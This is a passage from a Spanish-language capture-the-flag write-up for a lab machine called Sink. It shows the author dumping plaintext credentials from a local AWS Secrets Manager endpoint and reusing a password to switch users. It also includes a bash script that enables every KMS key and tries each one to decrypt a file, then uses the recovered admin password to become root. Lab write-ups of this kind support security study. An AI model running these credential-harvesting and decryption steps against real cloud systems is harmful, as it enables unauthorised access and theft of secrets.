marcus@sink:~$ aws --endpoint-url=http://localhost:4566 logs describe-log-groups
{
    "logGroups": [
        {
            "logGroupName": "cloudtrail",
            "creationTime": 1614265741999,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:us-east-1:000000000000:log-group:cloudtrail",
            "storedBytes": 91
        }
    ]
}

Listones, si jugamos así con algunos parámetros podremos ir descubriendo info.

Ahora veamos algo de secretsmanager:

marcus@sink:~$ aws --endpoint-url=http://localhost:4566 secretsmanager list-secrets
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-AZIdv",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "53cf9fdf-cb47-4b35-9ba1-046bcb43cfb6": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-ILKxI",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "97d47d9b-6e95-459e-a0b4-60411a9054d2": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-fKqdR",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "b07ec8cf-4f71-41bb-b20b-023d874be8a9": [
                    "AWSCURRENT"
                ]
            }
        }
    ]
}

Obtenemos 3 plataformas:

  • Jenkins Login: Master Server to manage release cycle 1.
  • Sink Panel: A panel to manage the resources in the devnode.
  • Jira Support: Manage customer issues.

Si intentamos ver alguna data en concreto (los secretos) podemos hacerlo usando el ID, que sería el valor "ARN".

Por ejemplo, veamos el valor secreto de Jenkins Login (get-secret-value):

🛹 Jenkins Login.

marcus@sink:~$ aws --endpoint-url=http://localhost:4566 secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-AZIdv"
{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-AZIdv",
    "Name": "Jenkins Login",
    "VersionId": "53cf9fdf-cb47-4b35-9ba1-046bcb43cfb6",
    "SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~Bj\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1614230338
}

Opa, el valor secreto son unas credenciales:

  • john@sink.htb : R);\\)ShS99mZ~Bj o R);\)ShS99mZ~Bj

Antes de ver si son funcionales, validemos con los otros 2 IDs para ver que tienen:

🛹 Sink Panel.

marcus@sink:~$ aws --endpoint-url=http://localhost:4566 secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-ILKxI"
{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-ILKxI",
    "Name": "Sink Panel",
    "VersionId": "97d47d9b-6e95-459e-a0b4-60411a9054d2",
    "SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1614230338
}
  • albert@sink.htb : Welcome123!

🛹 Jira Support.

marcus@sink:~$ aws --endpoint-url=http://localhost:4566 secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-fKqdR"
{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-fKqdR",
    "Name": "Jira Support",
    "VersionId": "b07ec8cf-4f71-41bb-b20b-023d874be8a9",
    "SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EAL8=bcC=`a7f2#k\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1614230338
}
  • david@sink.htb : EAL8=bcC=a7f2#k`

Acá david es interesante porque lo tenemos presente como usuario de Gitea y también como usuario de la propia máquina. Validemos en el panel login de Gitea estas credenciales:

313page3000_david_dashboard

Son funcionales. Probemos si podemos hacer reutilización de contraseñas e intentemos migrarnos a david pero desde el sistema:

marcus@sink:~$ su david
Password: 
david@sink:/home/marcus$ whoami
david
david@sink:/home/marcus$ id
uid=1000(david) gid=1000(david) groups=1000(david)
david@sink:/home/marcus$ 

Perfectoooooooooooooooooooooooooooooooooooo, somos david ahora (:

Antes, veamos si hay algo importante usando kms con AWS CLI:

marcus@sink:~$ aws --endpoint-url=http://localhost:4566 kms list-keys
{
    "Keys": [
        { 
            "KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
        },
        { 
            "KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
        },
        { 
            "KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
        },
        { 
            "KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
        },
        { 
            "KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
        },
        { 
            "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
        },
        { 
            "KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
        },
        { 
            "KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
        },
        {
            "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
        },
        {
            "KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
        },
        {
            "KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
        }
    ]
}

Tenemos unas keys, no sé si sean relevantes, pero pues para tenerlas en cuenta, de los otros parámetros no podemos obtener algo. Sigamos…

Escalada de privilegios #

En el /home de david tenemos un par de carpetas que nos llevan a un objeto.enc:

david@sink:~$ ls
Projects
david@sink:~$ cd Projects/
david@sink:~/Projects$ ls
Prod_Deployment
david@sink:~/Projects$ cd Prod_Deployment/
david@sink:~/Projects/Prod_Deployment$ ls
servers.enc
david@sink:~/Projects/Prod_Deployment$ file servers.enc 
servers.enc: data

Intentando crackearlo no hacemos nada :P Veamos que podemos relacionar para leer el archivo.

Bueno, buscando encontramos como se pudo haber generado el archivo mediante aws:

Podemos ver que para generar el archivo se usa un keyId yyyyyyy anteriormente encontramos varios keyIds. Tengamos esto presente

No contamos con aw, pero mediante kms tenemos varias funciones para jugar con los keyId`, una llamada decrypt:

Entonces, según la documentación el argumento obligatorio seria:

  • --ciphertext-blob fileb://: Que ahí le indicamos la ruta del archivo .enc

Podemos intentar desencriptar el archivo servers.enc:

# Con ruta absoluta:
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt --ciphertext-blob fileb://home/david/Projects/Prod_Deployment/servers.enc 

Error parsing parameter '--ciphertext-blob': Unable to load paramfile fileb://home/david/Projects/Prod_Deployment/servers.enc: [Errno 2] No such file or directory: 'home/david/Projects/Prod_Deployment/servers.enc'
# Escapando la ruta absoluta:
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc 

An error occurred (AccessDeniedException) when calling the Decrypt operation: The ciphertext refers to a customer master key that does not exist, does not exist in this region, or you are not allowed to access.

Pero nada, solo vemos errores, entiendo que debemos indicarle la keyId, elijamos cualquiera y veamos que sucede:

david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt --key-id "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc" --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc 

An error occurred (DisabledException) when calling the Decrypt operation: f0579746-10c3-4fd1-b2ab-f312a5a0f3fc is disabled.

Nos indica que la operación Decrypt esta inhabilitada para esa key, leyendo de nuevo la doc de kms hay un argumento para habilitar una key, probemos a ver si de eso se trata el error:

# Habilitamos
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms enable-key --key-id "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"

# Ejecutamos de nuevo
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt --key-id "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc" --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc 

An error occurred (InvalidCiphertextException) when calling the Decrypt operation: 

Obtenemos un error diferente, relacionado posiblemente a la desencriptación en concreto ( Invalid Ciphertext) o quizás a que esa key no es la necesaria para ese archivo…

Creémonos un script para que nos valide con todas las keys.

Las extraemos:

313bash_davidSH_listkeys_grep_cut

En el script las guardaremos en un archivo temporal para ir leyendo cada una, ahora si hagamos el archivo:

  • Agregaremos los argumentos --output text y --query Plaintext (These parameters extract the decrypted data, called the plaintext, from the command’s output.)

#!/bin/bash

# Generamos el archivo con las keys
aws --endpoint-url=http://localhost:4566 kms list-keys | grep KeyId | cut -d '"' -f 4 > keys.tmp
file_with_keys=./keys.tmp

while read keyId; do  # Tomamos cada llave del archivo
    # Habilitamos la llave
    aws --endpoint-url=http://localhost:4566 kms enable-key --key-id "$keyId" 2>/dev/null

    echo -ne "\n$keyId:"
    # Desencriptamos el archivo servers.enc
    aws --endpoint-url=http://localhost:4566 kms decrypt --key-id "$keyId" --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc --output text --query Plaintext
done < $file_with_keys

shred -zun 10 $file_with_keys

Pero no obtenemos nada…

313bash_davidSH_valkeria_fail

Probemos a jugar con los métodos de encriptación:

> Specifies the encryption algorithm that will be used to decrypt the ciphertext.
>> Possible values:
>>
>>    SYMMETRIC_DEFAULT
>>    RSAES_OAEP_SHA_1
>>    RSAES_OAEP_SHA_256

Entonces adecuando esto a nuestro script quedaría:

#!/bin/bash

# Generamos el archivo con las keys
aws --endpoint-url=http://localhost:4566 kms list-keys | grep KeyId | cut -d '"' -f 4 > keys.tmp
file_with_keys=./keys.tmp
types_algorithms=( SYMMETRIC_DEFAULT RSAES_OAEP_SHA_1 RSAES_OAEP_SHA_256 )

while read keyId; do
    echo -e "\n[+] Llave: $keyId:"
    for algorithm in "${types_algorithms[@]}"; do # Tomamos cada algoritmo del array y probamos
        echo -ne "[*] Algoritmo: $algorithm"

        # Habilitamos la llave
        aws --endpoint-url=http://localhost:4566 kms enable-key --key-id "$keyId" 2>/dev/null

        # Desencriptamos el archivo servers.enc
        aws --endpoint-url=http://localhost:4566 kms decrypt --key-id "$keyId" --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc --output text --query Plaintext --encryption-algorithm $algorithm
    done
done < $file_with_keys

shred -zun 10 $file_with_keys

Ejecutamos yyyy:

david@sink:/dev/shm/testest$ ./valkeria.sh

[+] Llave: 0b539917-5eff-45b2-9fa1-e13f0d2c42ac:
[*] Algoritmo: SYMMETRIC_DEFAULT

An error occurred (InvalidCiphertextException) when calling the Decrypt operation: 
[*] Algoritmo: RSAES_OAEP_SHA_1

An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
...

313bash_davidSH_valkeria_done

Opaaaaaaa, logramos desencriptar el archivo y ver el contenido, tenemos una cadena en base64:

  • La llave: 804125db-bdf1-465a-a058-07fc87c0fad0.
  • El tipo de algoritmo: RSAES_OAEP_SHA_256.

Si intentamos decodear esa string obtenemos:

313bash_tryingdecodebase64stringwithecho

No obtenemos nada legible, pero de una vez pensé en que posiblemente sea data de algún archivo, entonces tomemos el resultado del decode y guardémoslo en un archivo y veamos que tipo de archivo es:

...
glEwRAEATgL7TAAoAAA=" | base64 -d > result_b64
❭ file result_b64 
result_b64: gzip compressed data, from Unix, original size modulo 2^32 10240

Bien, un archivo comprimido, descomprimámoslo:

❭ gzip -d result_b64
gzip: result_b64: unknown suffix -- ignored

Jmmm, buscando en internet sobre este error, encontramos un foro donde alguien recomienda usar zcat:

¿Pero por qué zcat?

📁 Normalmente, los archivos comprimidos con gzip se pueden restaurar a su forma original con los comandos gzip -d o gunzip. ¿Qué sucede si desea ver el contenido de un archivo comprimido sin descomprimirlo? Para este propósito, necesita la utilidad zcat. linux-console

📂 zcat will uncompress files that have the correct magic number whether they have a .gz suffix or not. linuxquestions.org

Entonces, si probamos ahora con zcat:

313bash_zcatdecompress_done

Eaaa, tenemos un archivo .yml, donde en su contenido nos encontramos con unas credenciales del usuario admin. Probémoslas contra el usuario root en la máquina:

david@sink:/dev/shm/testest$ su root
Password: 
root@sink:/dev/shm/testest# id
uid=0(root) gid=0(root) groups=0(root)

Somos roooooooooooooooooooooooooooooooooooooooot (bueno, veamos si realmente lo somos):

root@sink:/dev/shm/testest# cd
root@sink:~# ls
automation  desync  docker-compose.yml  root.txt  snap

SÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ somos administradores del sistemaaaaaaaaa (:

Solo nos quedaría ver las flags…

313flags

¡Qué locura eh!

Me gusto demasiado la máquina (: Lo que más me dejo loco fue el HTTP Request Smuggling.

Que bonito fue este camino. el jugar con aws de esa manera, increíble. Y nada, como siempre, muchas gracias por leer (este si fue gigante)…

Yyyy a seguir rompiendo todo (:

Comments

comments powered by Disqus